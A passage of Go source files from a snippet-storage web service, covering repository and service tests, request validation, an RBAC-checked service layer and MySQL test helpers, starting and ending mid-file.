count, err := r.Count(context.Background(), 1, map[string]string{}) 85 | assert.Nil(t, err) 86 | assert.Equal(t, count, 1) 87 | } 88 | 89 | func TestRepository_Delete(t *testing.T) { 90 | snippet, err := r.GetByID(context.Background(), 1) 91 | assert.Nil(t, err) 92 | err = r.Delete(context.Background(), snippet) 93 | assert.Nil(t, err) 94 | count, err := r.Count(context.Background(), 1, map[string]string{}) 95 | assert.Nil(t, err) 96 | assert.Equal(t, count, 0) 97 | } 98 | 99 | func TestRepository_List(t *testing.T) { 100 | snippets := []entity.Snippet{ 101 | entity.Snippet{ 102 | UserID: 1, 103 | Favorite: true, 104 | AccessLevel: 0, 105 | Title: "Binary Search", 106 | Content: "", 107 | Language: "php", 108 | CustomEditorOptions: entity.CustomEditorOptions{}, 109 | CreatedAt: time.Now(), 110 | UpdatedAt: time.Now(), 111 | }, 112 | entity.Snippet{ 113 | UserID: 1, 114 | Favorite: true, 115 | AccessLevel: 0, 116 | Title: "Linear search", 117 | Content: "", 118 | Language: "js", 119 | CustomEditorOptions: entity.CustomEditorOptions{}, 120 | CreatedAt: time.Now(), 121 | UpdatedAt: time.Now(), 122 | }, 123 | entity.Snippet{ 124 | UserID: 1, 125 | Favorite: false, 126 | AccessLevel: 1, 127 | Title: "Bubble sort", 128 | Content: "", 129 | Language: "go", 130 | CustomEditorOptions: entity.CustomEditorOptions{}, 131 | CreatedAt: time.Now(), 132 | UpdatedAt: time.Now(), 133 | }, 134 | } 135 | 136 | for _, snippet := range snippets { 137 | snippet, err := r.Create(context.Background(), snippet) 138 | if err != nil { 139 | t.Fail() 140 | } 141 | t.Logf("Saved test snippet. ID: %d", snippet.ID) 142 | } 143 | 144 | filter := map[string]string{ 145 | "favorite": "1", 146 | "language": "php", 147 | } 148 | sort := query.NewSort("id", "asc") 149 | pagination := query.NewPagination(1, 10) 150 | snippets, err := r.List(context.Background(), 1, filter, sort, pagination) 151 | assert.Nil(t, err) 152 | assert.True(t, len(snippets) > 0) 153 | for _, snippet := range snippets { 154 | assert.True(t, snippet.Favorite) 155 | assert.Equal(t, snippet.Language, "php") 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /internal/snippet/request.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 7 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/datatype" 8 | validation "github.com/go-ozzo/ozzo-validation" 9 | ) 10 | 11 | type list struct { 12 | Favorite bool `form:"favorite"` 13 | AccessLevel int `form:"access_level"` 14 | Title string `form:"title"` 15 | Tags string `form:"tags"` 16 | SortBy string `form:"sort_by"` 17 | OrderBy string `form:"order_by"` 18 | Page int `form:"page"` 19 | Limit int `form:"limit"` 20 | } 21 | 22 | func (l list) filterConditions() map[string]string { 23 | conditions := make(map[string]string) 24 | if l.Favorite != false { 25 | conditions["favorite"] = "1" 26 | } 27 | if l.AccessLevel != -1 { 28 | conditions["access_level"] = strconv.Itoa(l.AccessLevel) 29 | } 30 | if l.Title != "" { 31 | conditions["title"] = l.Title 32 | } 33 | if l.Tags != "" { 34 | conditions["tags"] = l.Tags 35 | } 36 | 37 | return conditions 38 | } 39 | 40 | func newList() list { 41 | return list{Favorite: false, AccessLevel: -1, Title: "", Tags: "", SortBy: "id", OrderBy: "desc", Page: 1, Limit: 50} 42 | } 43 | 44 | func (l list) validate() error { 45 | return validation.ValidateStruct(&l, 46 | validation.Field(&l.Favorite, validation.In(0, 1, false, true)), 47 | validation.Field(&l.AccessLevel, validation.In(-1, 0, 1)), 48 | validation.Field(&l.Title, validation.Length(0, 100)), 49 | validation.Field(&l.SortBy, validation.In("id")), 50 | validation.Field(&l.OrderBy, validation.In("asc", "desc")), 51 | validation.Field(&l.Page, validation.Min(1)), 52 | validation.Field(&l.Limit, validation.Min(1), validation.Max(100)), 53 | ) 54 | } 55 | 56 | type snippet struct { 57 | Favorite datatype.FlexibleBool `json:"favorite"` 58 | AccessLevel int `json:"access_level"` 59 | Title string `json:"title"` 60 | Content string `json:"content"` 61 | Tags entity.Tags `json:"tags"` 62 | Language string `json:"language"` 63 | CustomEditorOptions entity.CustomEditorOptions `json:"custom_editor_options"` 64 | } 65 | 66 | func (r snippet) validate() error { 67 | err := validation.Errors{ 68 | "title": validation.Validate(r.Title, validation.Required, validation.Length(1, 500)), 69 | "access_level": validation.Validate(r.AccessLevel, validation.In(0, 1)), 70 | "editor_options.theme": validation.Validate(r.CustomEditorOptions.Theme, validation.In("default")), 71 | "editor_options.font_family": validation.Validate(r.CustomEditorOptions.FontFamily, validation.In("default")), 72 | }.Filter() 73 | return err 74 | } 75 | -------------------------------------------------------------------------------- /internal/snippet/request_test.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 7 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/datatype" 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func TestRequest_List(t *testing.T) { 12 | cases := []struct { 13 | name string 14 | request list 15 | fail bool 16 | }{ 17 | { 18 | "success", 19 | list{Favorite: false, 20 | AccessLevel: -1, 21 | Title: "", SortBy: "id", 22 | OrderBy: "desc", 23 | Page: 1, 24 | Limit: 50, 25 | }, 26 | false, 27 | }, 28 | { 29 | "invalid_access_level", 30 | list{ 31 | Favorite: false, 32 | AccessLevel: 4, 33 | Title: "", 34 | SortBy: "id", 35 | OrderBy: "desc", 36 | Page: 1, 37 | Limit: 50}, 38 | true, 39 | }, 40 | { 41 | "invalid_title", 42 | list{ 43 | Favorite: false, 44 | AccessLevel: -1, 45 | Title: "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.", 46 | SortBy: "id", 47 | OrderBy: "desc", 48 | Page: 1, 49 | Limit: 50, 50 | }, 51 | true, 52 | }, 53 | { 54 | "invalid_sort_by", 55 | list{ 56 | Favorite: false, 57 | AccessLevel: 4, 58 | Title: "", 59 | SortBy: "title", 60 | OrderBy: "desc", 61 | Page: 1, 62 | Limit: 50, 63 | }, 64 | true, 65 | }, 66 | { 67 | "invalid_order_by", 68 | list{ 69 | Favorite: false, 70 | AccessLevel: 4, 71 | Title: "", 72 | SortBy: "title", 73 | OrderBy: "ascc", 74 | Page: 1, 75 | Limit: 50, 76 | }, 77 | true, 78 | }, 79 | { 80 | "invalid_limit", 81 | list{ 82 | Favorite: false, 83 | AccessLevel: 4, 84 | Title: "", 85 | SortBy: "title", 86 | OrderBy: "ascc", 87 | Page: 1, 88 | Limit: 500, 89 | }, 90 | true, 91 | }, 92 | } 93 | for _, tc := range cases { 94 | t.Run(tc.name, func(t *testing.T) { 95 | err := tc.request.validate() 96 | assert.Equal(t, tc.fail, err != nil) 97 | }) 98 | } 99 | } 100 | func TestRequest_Upsert(t *testing.T) { 101 | cases := []struct { 102 | name string 103 | request snippet 104 | fail bool 105 | }{ 106 | { 107 | "success", 108 | snippet{ 109 | Favorite: datatype.FlexibleBool{Value: true, String: "1"}, 110 | AccessLevel: 0, 111 | Title: "test", 112 | Content: "", 113 | Language: "", 114 | CustomEditorOptions: entity.CustomEditorOptions{}, 115 | }, 116 | false, 117 | }, 118 | { 119 | "invalid_access_level", 120 | snippet{ 121 | Favorite: datatype.FlexibleBool{Value: true, String: "1"}, 122 | AccessLevel: 432, 123 | Title: "test", 124 | Content: "hello world", 125 | Language: "go", 126 | CustomEditorOptions: entity.CustomEditorOptions{}, 127 | }, 128 | true, 129 | }, 130 | { 131 | "empty_title", 132 | snippet{ 133 | Favorite: datatype.FlexibleBool{Value: true, String: "1"}, 134 | AccessLevel: 0, 135 | Title: "", 136 | Content: "hello world", 137 | Language: "go", 138 | CustomEditorOptions: entity.CustomEditorOptions{}, 139 | }, 140 | true, 141 | }, 142 | } 143 | for _, tc := range cases { 144 | t.Run(tc.name, func(t *testing.T) { 145 | err := tc.request.validate() 146 | assert.Equal(t, tc.fail, err != nil) 147 | }) 148 | } 149 | } 150 | -------------------------------------------------------------------------------- /internal/snippet/service.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 7 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/query" 8 | ) 9 | 10 | type Service interface { 11 | GetByID(ctx context.Context, id int) (entity.Snippet, error) 12 | QueryByUserID(context.Context, int, map[string]string, query.Sort, query.Pagination) ([]entity.Snippet, error) 13 | Create(context context.Context, snippet entity.Snippet) (entity.Snippet, error) 14 | Update(context context.Context, snippet entity.Snippet) (entity.Snippet, error) 15 | Delete(context context.Context, id int) error 16 | GetTags(ctx context.Context, userID int) (entity.Tags, error) 17 | CountByUserID(context context.Context, userID int, filter map[string]string) (int, error) 18 | } 19 | 20 | type Repository interface { 21 | QueryByUserID(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) 22 | GetByID(ctx context.Context, id int) (entity.Snippet, error) 23 | Create(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) 24 | Update(ctx context.Context, snippet entity.Snippet) error 25 | Delete(ctx context.Context, snippet entity.Snippet) error 26 | GetTags(ctx context.Context, userID int) (entity.Tags, error) 27 | CountByUserID(ctx context.Context, userID int, filter map[string]string) (int, error) 28 | } 29 | 30 | type RBAC interface { 31 | CanViewSnippet(ctx context.Context, snippet entity.Snippet) error 32 | CanDeleteSnippet(ctx context.Context, snippet entity.Snippet) error 33 | CanUpdateSnippet(ctx context.Context, snippet entity.Snippet) error 34 | } 35 | 36 | type service struct { 37 | repository Repository 38 | rbac RBAC 39 | } 40 | 41 | //NewService - ... 42 | func NewService(repository Repository, rbac RBAC) Service { 43 | return service{ 44 | repository: repository, 45 | rbac: rbac, 46 | } 47 | } 48 | 49 | func (s service) GetByID(ctx context.Context, id int) (entity.Snippet, error) { 50 | snippet, err := s.repository.GetByID(ctx, id) 51 | if err != nil { 52 | return entity.Snippet{}, err 53 | } 54 | if err := s.rbac.CanViewSnippet(ctx, snippet); err != nil { 55 | return entity.Snippet{}, err 56 | } 57 | return snippet, err 58 | } 59 | 60 | func (s service) QueryByUserID(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) { 61 | snippets, err := s.repository.QueryByUserID(ctx, userID, filter, sort, pagination) 62 | return snippets, err 63 | } 64 | 65 | func (s service) Create(context context.Context, snippet entity.Snippet) (entity.Snippet, error) { 66 | return s.repository.Create(context, snippet) 67 | } 68 | 69 | func (s service) Update(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 70 | _, err := s.repository.GetByID(ctx, snippet.ID) 71 | if err != nil { 72 | return entity.Snippet{}, err 73 | } 74 | if err := s.rbac.CanUpdateSnippet(ctx, snippet); err != nil { 75 | return entity.Snippet{}, err 76 | } 77 | 78 | err = s.repository.Update(ctx, snippet) 79 | if err != nil { 80 | return entity.Snippet{}, err 81 | } 82 | return snippet, err 83 | } 84 | 85 | func (s service) Delete(ctx context.Context, id int) error { 86 | snippet, err := s.repository.GetByID(ctx, id) 87 | if err != nil { 88 | return err 89 | } 90 | if err := s.rbac.CanDeleteSnippet(ctx, snippet); err != nil { 91 | return err 92 | } 93 | return s.repository.Delete(ctx, snippet) 94 | } 95 | 96 | func (s service) CountByUserID(ctx context.Context, userID int, filter map[string]string) (int, error) { 97 | return s.repository.CountByUserID(ctx, userID, filter) 98 | } 99 | 100 | func (s service) GetTags(ctx context.Context, userID int) (entity.Tags, error) { 101 | 102 | return s.repository.GetTags(ctx, 1) 103 | } 104 | -------------------------------------------------------------------------------- /internal/snippet/service_test.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "context" 5 | "testing" 6 | "time" 7 | 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/rbac" 10 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 11 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/query" 12 | "github.com/stretchr/testify/assert" 13 | ) 14 | 15 | func TestService_GetByID(t *testing.T) { 16 | type args struct { 17 | id int 18 | } 19 | cases := []struct { 20 | name string 21 | args args 22 | rbac test.RBACMock 23 | repository Repository 24 | wantData entity.Snippet 25 | wantErr error 26 | }{ 27 | { 28 | name: "user can get snippet by ID", 29 | args: args{ 30 | id: 1, 31 | }, 32 | rbac: test.RBACMock{ 33 | CanViewSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 34 | return nil 35 | }, 36 | }, 37 | repository: RepositoryMock{ 38 | QueryByUserIDFn: nil, 39 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 40 | return entity.Snippet{ 41 | ID: 1, 42 | UserID: 1, 43 | Favorite: false, 44 | AccessLevel: 0, 45 | Title: "test snippet", 46 | Content: "hello world", 47 | Language: "go", 48 | CustomEditorOptions: entity.CustomEditorOptions{}, 49 | CreatedAt: test.Time(2020), 50 | UpdatedAt: test.Time(2020), 51 | }, nil 52 | }, 53 | CreateFn: nil, 54 | UpdateFn: nil, 55 | DeleteFn: nil, 56 | CountByUserIDFn: nil, 57 | }, 58 | wantData: entity.Snippet{ 59 | ID: 1, 60 | UserID: 1, 61 | Favorite: false, 62 | AccessLevel: 0, 63 | Title: "test snippet", 64 | Content: "hello world", 65 | Language: "go", 66 | CustomEditorOptions: entity.CustomEditorOptions{}, 67 | CreatedAt: test.Time(2020), 68 | UpdatedAt: test.Time(2020), 69 | }, 70 | wantErr: nil, 71 | }, 72 | { 73 | name: "user does not have permission", 74 | args: args{ 75 | id: 1, 76 | }, 77 | rbac: test.RBACMock{ 78 | CanViewSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 79 | return rbac.AccessError 80 | }, 81 | }, 82 | repository: RepositoryMock{ 83 | QueryByUserIDFn: nil, 84 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 85 | return entity.Snippet{ 86 | ID: 1, 87 | UserID: 2, 88 | Favorite: false, 89 | AccessLevel: 0, 90 | Title: "test snippet", 91 | Content: "hello world", 92 | Language: "go", 93 | CustomEditorOptions: entity.CustomEditorOptions{}, 94 | CreatedAt: test.Time(2020), 95 | UpdatedAt: test.Time(2020), 96 | }, nil 97 | }, 98 | CreateFn: nil, 99 | UpdateFn: nil, 100 | DeleteFn: nil, 101 | CountByUserIDFn: nil, 102 | }, 103 | wantData: entity.Snippet{}, 104 | wantErr: rbac.AccessError, 105 | }, 106 | { 107 | name: "repository error", 108 | args: args{ 109 | id: 1, 110 | }, 111 | rbac: test.RBACMock{ 112 | CanViewSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 113 | return nil 114 | }, 115 | }, 116 | repository: RepositoryMock{ 117 | QueryByUserIDFn: nil, 118 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 119 | return entity.Snippet{}, repositoryMockErr 120 | }, 121 | CreateFn: nil, 122 | UpdateFn: nil, 123 | DeleteFn: nil, 124 | CountByUserIDFn: nil, 125 | }, 126 | wantData: entity.Snippet{}, 127 | wantErr: repositoryMockErr, 128 | }, 129 | } 130 | for _, tc := range cases { 131 | t.Run(tc.name, func(t *testing.T) { 132 | service := NewService(tc.repository, tc.rbac) 133 | snippet, err := service.GetByID(context.Background(), tc.args.id) 134 | assert.Equal(t, tc.wantData, snippet) 135 | assert.Equal(t, tc.wantErr, err) 136 | }) 137 | } 138 | } 139 | 140 | func TestService_Create(t *testing.T) { 141 | type args struct { 142 | snippet entity.Snippet 143 | } 144 | cases := []struct { 145 | name string 146 | args args 147 | rbac test.RBACMock 148 | repository Repository 149 | wantData entity.Snippet 150 | wantErr error 151 | }{ 152 | { 153 | name: "user can create snippet", 154 | args: args{ 155 | snippet: entity.Snippet{ 156 | UserID: 1, 157 | Favorite: false, 158 | AccessLevel: 0, 159 | Title: "test", 160 | Content: "test context", 161 | Language: "php", 162 | CustomEditorOptions: entity.CustomEditorOptions{}, 163 | CreatedAt: test.Time(2020), 164 | UpdatedAt: test.Time(2020), 165 | }, 166 | }, 167 | rbac: test.RBACMock{}, 168 | repository: RepositoryMock{ 169 | CreateFn: func(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 170 | return entity.Snippet{ 171 | ID: 1, 172 | UserID: 1, 173 | Favorite: false, 174 | AccessLevel: 0, 175 | Title: "test", 176 | Content: "test context", 177 | Language: "php", 178 | CustomEditorOptions: entity.CustomEditorOptions{}, 179 | CreatedAt: test.Time(2020), 180 | UpdatedAt: test.Time(2020), 181 | }, nil 182 | }, 183 | }, 184 | wantData: entity.Snippet{ 185 | ID: 1, 186 | UserID: 1, 187 | Favorite: false, 188 | AccessLevel: 0, 189 | Title: "test", 190 | Content: "test context", 191 | Language: "php", 192 | CustomEditorOptions: entity.CustomEditorOptions{}, 193 | CreatedAt: test.Time(2020), 194 | UpdatedAt: test.Time(2020), 195 | }, 196 | wantErr: nil, 197 | }, 198 | { 199 | name: "repository error", 200 | args: args{ 201 | snippet: entity.Snippet{ 202 | UserID: 1, 203 | Favorite: false, 204 | AccessLevel: 0, 205 | Title: "test", 206 | Content: "test context", 207 | Language: "php", 208 | CustomEditorOptions: entity.CustomEditorOptions{}, 209 | CreatedAt: test.Time(2020), 210 | UpdatedAt: test.Time(2020), 211 | }, 212 | }, 213 | rbac: test.RBACMock{}, 214 | repository: RepositoryMock{ 215 | CreateFn: func(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 216 | return entity.Snippet{}, repositoryMockErr 217 | }, 218 | }, 219 | wantData: entity.Snippet{}, 220 | wantErr: repositoryMockErr, 221 | }, 222 | } 223 | for _, tc := range cases { 224 | t.Run(tc.name, func(t *testing.T) { 225 | service := NewService(tc.repository, tc.rbac) 226 | snippet, err := service.Create(context.Background(), tc.args.snippet) 227 | assert.Equal(t, tc.wantData, snippet) 228 | assert.Equal(t, tc.wantErr, err) 229 | }) 230 | } 231 | } 232 | 233 | func TestService_Update(t *testing.T) { 234 | type args struct { 235 | snippet entity.Snippet 236 | } 237 | cases := []struct { 238 | name string 239 | args args 240 | rbac test.RBACMock 241 | repository Repository 242 | wantData entity.Snippet 243 | wantErr error 244 | }{ 245 | { 246 | name: "user can update snippet", 247 | args: args{ 248 | snippet: entity.Snippet{ 249 | ID: 1, 250 | UserID: 1, 251 | Favorite: false, 252 | AccessLevel: 0, 253 | Title: "test", 254 | Content: "test context", 255 | Language: "php", 256 | CustomEditorOptions: entity.CustomEditorOptions{}, 257 | CreatedAt: test.Time(2020), 258 | UpdatedAt: test.Time(2020), 259 | }, 260 | }, 261 | rbac: test.RBACMock{ 262 | CanUpdateSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 263 | return nil 264 | }, 265 | }, 266 | repository: RepositoryMock{ 267 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 268 | return entity.Snippet{ 269 | ID: 1, 270 | UserID: 1, 271 | Favorite: false, 272 | AccessLevel: 0, 273 | Title: "test", 274 | Content: "test context", 275 | Language: "php", 276 | CustomEditorOptions: entity.CustomEditorOptions{}, 277 | CreatedAt: test.Time(2020), 278 | UpdatedAt: test.Time(2020), 279 | }, nil 280 | }, 281 | UpdateFn: func(ctx context.Context, snippet entity.Snippet) error { 282 | return nil 283 | }, 284 | }, 285 | wantData: entity.Snippet{ 286 | ID: 1, 287 | UserID: 1, 288 | Favorite: false, 289 | AccessLevel: 0, 290 | Title: "test", 291 | Content: "test context", 292 | Language: "php", 293 | CustomEditorOptions: entity.CustomEditorOptions{}, 294 | CreatedAt: test.Time(2020), 295 | UpdatedAt: test.Time(2020), 296 | }, 297 | wantErr: nil, 298 | }, 299 | { 300 | name: "repository error", 301 | args: args{ 302 | snippet: entity.Snippet{ 303 | ID: 1, 304 | UserID: 1, 305 | Favorite: false, 306 | AccessLevel: 0, 307 | Title: "test", 308 | Content: "test context", 309 | Language: "php", 310 | CustomEditorOptions: entity.CustomEditorOptions{}, 311 | CreatedAt: test.Time(2020), 312 | }, 313 | }, 314 | rbac: test.RBACMock{ 315 | CanUpdateSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 316 | return nil 317 | }, 318 | }, 319 | repository: RepositoryMock{ 320 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 321 | return entity.Snippet{ 322 | ID: 1, 323 | UserID: 1, 324 | Favorite: false, 325 | AccessLevel: 0, 326 | Title: "test", 327 | Content: "test context", 328 | Language: "php", 329 | CustomEditorOptions: entity.CustomEditorOptions{}, 330 | CreatedAt: test.Time(2020), 331 | }, nil 332 | }, 333 | UpdateFn: func(ctx context.Context, snippet entity.Snippet) error { 334 | return repositoryMockErr 335 | }, 336 | }, 337 | wantData: entity.Snippet{}, 338 | wantErr: repositoryMockErr, 339 | }, 340 | } 341 | for _, tc := range cases { 342 | t.Run(tc.name, func(t *testing.T) { 343 | service := NewService(tc.repository, tc.rbac) 344 | snippet, err := service.Update(context.Background(), tc.args.snippet) 345 | assert.Equal(t, tc.wantData, snippet) 346 | assert.Equal(t, tc.wantErr, err) 347 | }) 348 | } 349 | } 350 | 351 | func TestService_Delete(t *testing.T) { 352 | type args struct { 353 | id int 354 | } 355 | 356 | cases := []struct { 357 | name string 358 | args args 359 | rbac test.RBACMock 360 | repository RepositoryMock 361 | wantErr error 362 | }{ 363 | { 364 | name: "user can delete snippet", 365 | args: args{id: 1}, 366 | rbac: test.RBACMock{ 367 | CanDeleteSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 368 | return nil 369 | }, 370 | }, 371 | repository: RepositoryMock{ 372 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 373 | return entity.Snippet{ 374 | ID: 1, 375 | UserID: 1, 376 | Favorite: false, 377 | AccessLevel: 0, 378 | Title: "test", 379 | Content: "test", 380 | Language: "go", 381 | CustomEditorOptions: entity.CustomEditorOptions{}, 382 | CreatedAt: time.Time{}, 383 | UpdatedAt: time.Time{}, 384 | }, nil 385 | }, 386 | DeleteFn: func(ctx context.Context, snippet entity.Snippet) error { 387 | return nil 388 | }, 389 | }, 390 | wantErr: nil, 391 | }, 392 | { 393 | name: "repository error", 394 | args: args{id: 1}, 395 | rbac: test.RBACMock{ 396 | CanDeleteSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 397 | return nil 398 | }, 399 | }, 400 | repository: RepositoryMock{ 401 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 402 | return entity.Snippet{ 403 | ID: 1, 404 | UserID: 1, 405 | Favorite: false, 406 | AccessLevel: 0, 407 | Title: "test", 408 | Content: "test", 409 | Language: "go", 410 | CustomEditorOptions: entity.CustomEditorOptions{}, 411 | CreatedAt: time.Time{}, 412 | UpdatedAt: time.Time{}, 413 | }, nil 414 | }, 415 | DeleteFn: func(ctx context.Context, snippet entity.Snippet) error { 416 | return repositoryMockErr 417 | }, 418 | }, 419 | wantErr: repositoryMockErr, 420 | }, 421 | { 422 | name: "user does not have permissions", 423 | args: args{id: 1}, 424 | rbac: test.RBACMock{ 425 | CanDeleteSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 426 | return rbac.AccessError 427 | }, 428 | }, 429 | repository: RepositoryMock{ 430 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 431 | return entity.Snippet{ 432 | ID: 1, 433 | UserID: 1, 434 | Favorite: false, 435 | AccessLevel: 0, 436 | Title: "test", 437 | Content: "test", 438 | Language: "go", 439 | CustomEditorOptions: entity.CustomEditorOptions{}, 440 | CreatedAt: time.Time{}, 441 | UpdatedAt: time.Time{}, 442 | }, nil 443 | }, 444 | DeleteFn: func(ctx context.Context, snippet entity.Snippet) error { 445 | return nil 446 | }, 447 | }, 448 | wantErr: rbac.AccessError, 449 | }, 450 | } 451 | 452 | for _, tc := range cases { 453 | t.Run(tc.name, func(t *testing.T) { 454 | service := NewService(tc.repository, tc.rbac) 455 | err := service.Delete(context.Background(), tc.args.id) 456 | assert.Equal(t, tc.wantErr, err) 457 | }) 458 | } 459 | } 460 | 461 | func TestService_CountByUserID(t *testing.T) { 462 | type args struct { 463 | userID int 464 | filter map[string]string 465 | } 466 | 467 | cases := []struct { 468 | name string 469 | args args 470 | repository Repository 471 | rbac test.RBACMock 472 | wantData int 473 | wantErr error 474 | }{ 475 | { 476 | name: "user name delete snippet", 477 | args: args{ 478 | 1, map[string]string{"sdfsdfsdf": "sdfsdfsd"}, 479 | }, 480 | repository: RepositoryMock{ 481 | CountByUserIDFn: func(ctx context.Context, userID int, filter map[string]string) (int, error) { 482 | return 1, nil 483 | }, 484 | }, 485 | rbac: test.RBACMock{}, 486 | wantData: 1, 487 | wantErr: nil, 488 | }, 489 | } 490 | 491 | for _, tc := range cases { 492 | 493 | t.Run(tc.name, func(t *testing.T) { 494 | 495 | service := NewService(tc.repository, tc.rbac) 496 | count, err := service.CountByUserID(context.Background(), tc.args.userID, tc.args.filter) 497 | assert.Equal(t, tc.wantData, count) 498 | assert.Equal(t, tc.wantErr, err) 499 | 500 | }) 501 | 502 | } 503 | } 504 | 505 | func TestService_QueryByUserID(t *testing.T) { 506 | 507 | type args struct { 508 | userID int 509 | filter map[string]string 510 | sort query.Sort 511 | pagination query.Pagination 512 | } 513 | 514 | cases := []struct { 515 | name string 516 | args args 517 | repository RepositoryMock 518 | wantData []entity.Snippet 519 | wantErr error 520 | }{ 521 | { 522 | name: "user can get snippets by conditions", 523 | args: args{ 524 | userID: 1, 525 | filter: map[string]string{ 526 | "favorite": "1", 527 | }, 528 | sort: query.NewSort("id", "asc"), 529 | pagination: query.NewPagination(1, 20), 530 | }, 531 | repository: RepositoryMock{ 532 | QueryByUserIDFn: func(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) { 533 | return []entity.Snippet{ 534 | { 535 | ID: 1, 536 | UserID: 1, 537 | Favorite: true, 538 | AccessLevel: 0, 539 | Title: "test", 540 | Content: "test", 541 | Language: "test", 542 | CustomEditorOptions: entity.CustomEditorOptions{}, 543 | CreatedAt: test.Time(2020), 544 | UpdatedAt: test.Time(2021), 545 | }, 546 | }, nil 547 | }, 548 | }, 549 | wantData: []entity.Snippet{ 550 | { 551 | ID: 1, 552 | UserID: 1, 553 | Favorite: true, 554 | AccessLevel: 0, 555 | Title: "test", 556 | Content: "test", 557 | Language: "test", 558 | CustomEditorOptions: entity.CustomEditorOptions{}, 559 | CreatedAt: test.Time(2020), 560 | UpdatedAt: test.Time(2021), 561 | }, 562 | }, 563 | wantErr: nil, 564 | }, 565 | { 566 | name: "repository error", 567 | args: args{ 568 | userID: 1, 569 | filter: map[string]string{ 570 | "favorite": "1", 571 | }, 572 | sort: query.NewSort("id", "asc"), 573 | pagination: query.NewPagination(1, 20), 574 | }, 575 | repository: RepositoryMock{ 576 | QueryByUserIDFn: func(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) { 577 | return []entity.Snippet{}, repositoryMockErr 578 | }, 579 | }, 580 | wantData: []entity.Snippet{}, 581 | wantErr: repositoryMockErr, 582 | }, 583 | } 584 | 585 | for _, tc := range cases { 586 | t.Run(tc.name, func(t *testing.T) { 587 | service := NewService(tc.repository, test.RBACMock{}) 588 | snippets, err := service.QueryByUserID(context.Background(), tc.args.userID, tc.args.filter, tc.args.sort, tc.args.pagination) 589 | assert.Equal(t, tc.wantData, snippets) 590 | assert.Equal(t, tc.wantErr, err) 591 | }) 592 | } 593 | } 594 | -------------------------------------------------------------------------------- /internal/test/db.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/config" 8 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 9 | dbx "github.com/go-ozzo/ozzo-dbx" 10 | _ "github.com/go-sql-driver/mysql" 11 | ) 12 | 13 | var db *dbcontext.DB 14 | 15 | //Database - ... 16 | func Database(t *testing.T) *dbcontext.DB { 17 | if db != nil { 18 | return db 19 | } 20 | cfg, err := config.Load("../../cfg/local.yml") 21 | if err != nil { 22 | t.Errorf("failed to load application configuration: %s", err) 23 | os.Exit(-1) 24 | } 25 | mysql, err := dbx.MustOpen("mysql", cfg.TestDatabaseDNS) 26 | if err != nil { 27 | t.Error(err) 28 | t.FailNow() 29 | } 30 | db := dbcontext.New(mysql) 31 | return db 32 | } 33 | 34 | //TruncateTable - ... 35 | func TruncateTable(t *testing.T, db *dbcontext.DB, table string) { 36 | _, err := db.DB().TruncateTable(table).Execute() 37 | if err != nil { 38 | t.Error(err) 39 | t.FailNow() 40 | } 41 | _, err = db.DB().NewQuery("ALTER TABLE " + table + " AUTO_INCREMENT = 1").Execute() 42 | if err != nil { 43 | t.Error(err) 44 | t.FailNow() 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /internal/test/endpoint.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "bytes" 5 | "net/http" 6 | "net/http/httptest" 7 | "strings" 8 | "testing" 9 | 10 | routing "github.com/go-ozzo/ozzo-routing/v2" 11 | "github.com/stretchr/testify/assert" 12 | ) 13 | 14 | //APITestCase - ... 15 | type APITestCase struct { 16 | Method string 17 | URL string 18 | Body string 19 | Header http.Header 20 | 